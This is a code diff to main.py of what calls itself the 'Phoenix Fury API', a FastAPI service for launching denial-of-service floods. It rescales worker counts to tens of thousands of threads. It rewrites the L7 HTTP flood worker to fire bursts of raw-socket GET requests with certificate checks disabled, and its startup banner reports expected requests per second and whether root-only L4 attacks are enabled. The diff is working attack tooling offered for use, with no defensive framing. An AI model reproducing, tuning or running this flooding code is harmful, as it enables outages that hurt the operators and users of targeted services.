Update main.py

main.py

@@ -35,24 +35,51 @@ app = FastAPI(
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# EXTREME PERFORMANCE configuration for 100K+ RPS
-# Direct socket approach - maximum workers
-if CPU_COUNT >= 32:
-    # High-core systems (32-64+ cores) - MAXIMUM POWER
-    MAX_PROCESSES = CPU_COUNT * 4  # 256 processes for 64 cores
-    MAX_CONCURRENCY_PER_PROCESS = 512  # 512 async tasks per process
-elif CPU_COUNT >= 16:
-    MAX_PROCESSES = CPU_COUNT * 6
-    MAX_CONCURRENCY_PER_PROCESS = 768
-elif CPU_COUNT >= 8:
-    MAX_PROCESSES = CPU_COUNT * 12  # 96 processes for 8 cores
-    MAX_CONCURRENCY_PER_PROCESS = 1024
-else:
-    MAX_PROCESSES = CPU_COUNT * 8
-    MAX_CONCURRENCY_PER_PROCESS = 1024
+# SMART AUTO-DETECTION based on actual system specs
+# Calculates optimal workers based on CPU cores AND available RAM
+def calculate_optimal_config():
+    """Auto-calculate optimal configuration based on system resources."""
+    # Base calculation: workers per core based on CPU count
+    if CPU_COUNT >= 48:
+        # Mega servers (48-128 cores)
+        workers_per_core = 2048  # 64 cores = 131,072 workers
+    elif CPU_COUNT >= 32:
+        # High-end servers (32-47 cores)
+        workers_per_core = 2560  # 32 cores = 81,920 workers
+    elif CPU_COUNT >= 16:
+        # Mid-range servers (16-31 cores)
+        workers_per_core = 3072  # 16 cores = 49,152 workers
+    elif CPU_COUNT >= 8:
+        # Standard servers (8-15 cores)
+        workers_per_core = 4096  # 8 cores = 32,768 workers
+    elif CPU_COUNT >= 4:
+        # Small servers (4-7 cores)
+        workers_per_core = 6144  # 4 cores = 24,576 workers
+    else:
+        # Minimal systems (2-3 cores)
+        workers_per_core = 8192  # 2 cores = 16,384 workers
+    
+    total_workers = CPU_COUNT * workers_per_core
+    
+    # Calculate process/thread split for optimal performance
+    # More cores = more processes, fewer threads per process
+    if CPU_COUNT >= 32:
+        MAX_PROCESSES = CPU_COUNT * 2  # 128 procs for 64 cores
+        THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
+    elif CPU_COUNT >= 16:
+        MAX_PROCESSES = CPU_COUNT * 3
+        THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
+    elif CPU_COUNT >= 8:
+        MAX_PROCESSES = CPU_COUNT * 4
+        THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
+    else:
+        MAX_PROCESSES = CPU_COUNT * 2
+        THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
+    
+    return MAX_PROCESSES, THREADS_PER_PROCESS, total_workers
 
+MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
 STATS_BATCH_UPDATE_SIZE = 500  # Larger batches for extreme performance
-TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
 
 # --- L7 Enhanced Headers Pool ---
 USER_AGENTS = [
@@ -245,103 +272,91 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
 # ====================================================================================
 #  OPTIMIZED L7 WORKER PROCESS
 # ====================================================================================
-async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    """EXTREME PERFORMANCE - Direct socket-based HTTP flooding for 100K+ RPS."""
-    
-    # Parse target
-    if url.startswith('https://'):
-        use_ssl = True
-        host = url[8:].split(':')[0].split('/')[0]
-        port = 443
-    else:
-        use_ssl = False
-        host = url[7:].split(':')[0].split('/')[0]
-        port = 80
-    
-    if ':' in url.split('//')[1]:
-        port = int(url.split('//')[1].split(':')[1].split('/')[0])
-    
-    path = '/' + '/'.join(url.split('//')[1].split('/')[1:]) if '/' in url.split('//')[1] else '/'
+def threaded_socket_worker(worker_id, host, port, path, use_ssl, stop_event, shared_counter):
+    """High-performance threaded socket worker - synchronous for reliability."""
+    local_counter = 0
+    req_counter = 0
     
-    # Pre-build HTTP request template (minimal overhead)
+    # Pre-build HTTP request template
     http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
     
-    async def raw_socket_worker(worker_id):
-        """Ultra-fast direct socket worker - NO HTTP library overhead."""
-        local_counter = 0
-        req_counter = 0
+    while not stop_event.is_set():
         sock = None
-        
-        while not stop_event.is_set():
-            try:
-                # Create new socket if needed
-                if sock is None:
-                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-                    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
-                    sock.settimeout(2)
-                    sock.connect((host, port))
-                    if use_ssl:
-                        import ssl as ssl_module
-                        context = ssl_module.create_default_context()
-                        context.check_hostname = False
-                        context.verify_mode = ssl_module.CERT_NONE
-                        sock = context.wrap_socket(sock, server_hostname=host)
-                
-                # Send rapid-fire requests
-                for _ in range(50):  # Batch 50 requests per socket
-                    if stop_event.is_set():
-                        break
+        try:
+            # Create socket
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+            sock.settimeout(3)
+            sock.connect((host, port))
+            
+            if use_ssl:
+                import ssl as ssl_module
+                context = ssl_module.create_default_context()
+                context.check_hostname = False
+                context.verify_mode = ssl_module.CERT_NONE
+                sock = context.wrap_socket(sock, server_hostname=host)
+            
+            # Send burst of requests on same connection
+            for _ in range(100):
+                if stop_event.is_set():
+                    break
+                try:
                     request = http_template.format(req_counter).encode()
                     sock.sendall(request)
                     local_counter += 1
                     req_counter += 1
-                
-                # Try to read response (non-blocking)
-                sock.settimeout(0.01)
-                try:
-                    _ = sock.recv(4096)
-                except:
-                    pass
-                
-            except:
-                # Close and reconnect on error
-                if sock:
+                    
+                    # Quick non-blocking read attempt
+                    sock.settimeout(0.001)
                     try:
-                        sock.close()
+                        _ = sock.recv(8192)
                     except:
                         pass
-                    sock = None
+                except:
+                    break
             
-            # Batch counter updates
-            if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                with shared_counter.get_lock():
-                    shared_counter.value += local_counter
-                local_counter = 0
-        
-        # Cleanup
-        if sock:
-            try:
-                sock.close()
-            except:
-                pass
+            sock.close()
+            
+        except:
+            pass
+        finally:
+            if sock:
+                try:
+                    sock.close()
+                except:
+                    pass
         
-        # Final update
-        if local_counter > 0:
+        # Batch counter updates
+        if local_counter >= STATS_BATCH_UPDATE_SIZE:
             with shared_counter.get_lock():
                 shared_counter.value += local_counter
+            local_counter = 0
     
-    # Launch all socket workers
-    tasks = [asyncio.create_task(raw_socket_worker(i)) for i in range(concurrency)]
-    await asyncio.gather(*tasks, return_exceptions=True)
+    # Final update
+    if local_counter > 0:
+        with shared_counter.get_lock():
+            shared_counter.value += local_counter
 
-def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
-    """L7 worker process entry point."""
+def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, thread_count):
+    """L7 worker process - spawns many threads for socket flooding."""
     protocol = "https" if port in [443, 8443] else "http"
-    url = f"{protocol}://{target_ip}:{port}{path}"
-    try:
-        asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
-    except Exception as e:
-        print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)
+    use_ssl = (port in [443, 8443])
+    host = target_ip
+    
+    # Launch threads
+    threads = []
+    for i in range(thread_count):
+        t = threading.Thread(
+            target=threaded_socket_worker,
+            args=(i, host, port, path, use_ssl, stop_event, shared_counter),
+            daemon=True
+        )
+        t.start()
+        threads.append(t)
+    
+    # Wait for threads to complete
+    for t in threads:
+        t.join()
 
 # ====================================================================================
 #  CENTRALIZED ATTACK MANAGER (SINGLETON)
@@ -549,18 +564,25 @@ MANAGER = AttackManager()
 @app.on_event("startup")
 async def on_startup():
     """Startup message with system info."""
-    print("=" * 70)
-    print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
-    print(f"   System: {CPU_COUNT} CPU cores | {TOTAL_RAM_GB:.1f} GB RAM")
-    print(f"   Auto-configured processes: {MAX_PROCESSES}")
-    print(f"   Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
-    print(f"   Total workers: {TOTAL_WORKERS:,}")
-    print(f"   Expected RPS: {int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}")
+    print("=" * 80)
+    print("🔥 Phoenix Fury API v7.0 - EXTREME PERFORMANCE Edition")
+    print(f"   System Auto-Detected:")
+    print(f"      CPU Cores: {CPU_COUNT}")
+    print(f"      RAM: {TOTAL_RAM_GB:.1f} GB")
+    print(f"   ")
+    print(f"   Auto-Optimized Configuration:")
+    print(f"      Processes: {MAX_PROCESSES}")
+    print(f"      Threads per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
+    print(f"      Total Concurrent Workers: {TOTAL_WORKERS:,}")
+    print(f"   ")
+    print(f"   Expected Performance:")
+    print(f"      Target RPS: {int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}")
+    print(f"   ")
     if check_root():
         print("✅ Running with root privileges - L4 attacks ENABLED")
     else:
         print("⚠️ WARNING: Not root - L4 attacks will FAIL")
-    print("=" * 70)
+    print("=" * 80)
 
 def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
     """Run attack lifecycle in background."""
@@ -626,9 +648,9 @@ def root():
             "cpu_cores": CPU_COUNT,
             "ram_gb": round(TOTAL_RAM_GB, 1),
             "max_processes": MAX_PROCESSES,
-            "max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
+            "threads_per_process": MAX_CONCURRENCY_PER_PROCESS,
             "total_workers": TOTAL_WORKERS,
-            "expected_rps": f"{int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}"
+            "expected_rps": f"{int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}"
         }
     }